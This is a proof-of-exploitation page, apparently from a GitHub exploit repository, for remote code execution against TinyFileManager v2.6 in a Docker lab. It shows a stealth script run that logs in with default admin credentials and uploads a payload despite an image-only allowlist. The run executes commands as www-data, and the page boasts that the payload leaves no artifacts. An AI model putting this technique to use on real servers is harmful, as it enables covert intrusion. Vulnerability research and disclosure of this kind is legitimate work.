Skip to content

PROOF.md

Latest commit

 

History

History
37 lines (27 loc) · 882 Bytes

PROOF.md

File metadata and controls

37 lines (27 loc) · 882 Bytes

Proof of Exploitation

Test Environment

  • Target: Docker php:8.1-apache
  • TinyFileManager: v2.6 (latest)
  • Config: $allowed_upload_extensions = 'jpg,png,gif'

Successful RCE Output

$ python tfm_stealth.py "http://localhost:8086/tinyfilemanager.php" "id && hostname"

[+] Authenticated with admin:admin@123
[+] Payload uploaded
============================================================
Command Output:
============================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
13dc3995ac99
============================================================
[+] Payload self-destructed - no artifacts
[+] SUCCESS

Screenshots

(Add screenshots to proof/ directory)

  • Login page
  • Successful exploitation
  • Command output
  • No artifacts remaining

Video Demo

(Optional: Add screen recording)